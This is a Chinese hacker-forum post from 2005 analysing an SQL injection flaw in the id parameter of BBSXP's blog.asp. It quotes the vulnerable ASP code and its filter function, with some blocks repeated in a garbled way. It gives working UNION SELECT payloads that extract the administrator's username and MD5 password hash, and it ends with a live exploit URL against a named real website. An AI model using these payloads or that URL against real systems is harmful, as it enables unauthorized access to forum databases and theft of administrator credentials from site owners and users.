来自:火狐技术联盟 作者:jinsdb
网上看到有牛人制作了bbsxp最新漏洞的利用工具,可是工具不发布出来,原理也不说.
说是<<黑客防线>>5月份的首发漏洞中有,我没有钱卖黑防,还是自己去down一个
bbsxp,分析分析先
说他是bbsxp最新漏洞,其实是不恰当的,因为改漏洞与bbsxp5.0的漏洞完全一样
问题出在blog.asp的id变量
id=HTMLEncode(Request("id"))
top
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
else
sql="select * from [calendar] where (hide=0 or username='"&Request.Cookies("username")&"') and username='"&username&"' order by id Desc"
end if
rs.Open sql,Conn,1
top
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
else
sql="select * from [calendar] where (hide=0 or username='"&Request.Cookies("username")&"') and username='"&username&"' order by id Desc"
end if
rs.Open sql,Conn,1
改id变量利用自定义的HTMLEncode函数过滤的
看setup.asp中的HTMLEncode函数
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
过滤了; < > \ -- ' " fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
构造union查询,可以逃过过滤
union select top 1 1,2,userpass,username,5,6,7 from [user] where membercode = 5
放入sql语句中,相当于执行select * from [calendar] where id=1 union select top 1 1,2,userpass,username,5,6,7 from [user] where membercode = 5 order by id Desc
这样就把社区区长的用户名,MD5密码查询出来了构造:union select top 1 1,2,adminpassword,4,5,6,7 from [clubconfig]
相当于执行:
select * from [calendar] where id=0 union select top 1 1,2,adminpassword,4,5,6,7 from [clubconfig] order by id Desc
把社区区长的后台MD5散列查询出来了测试地址:
http://www.chinavet.net/bbs/blog.asp?id=1%20union%20select%20top%201%201,2,userpass,username,5,6,7%20from%20[user]%20where%20membercode%20=%205
sQL版本的由于我没有原代码,所以没有分析了
[最后修改由 neeao, 于 2005-05-04 09:38:49]
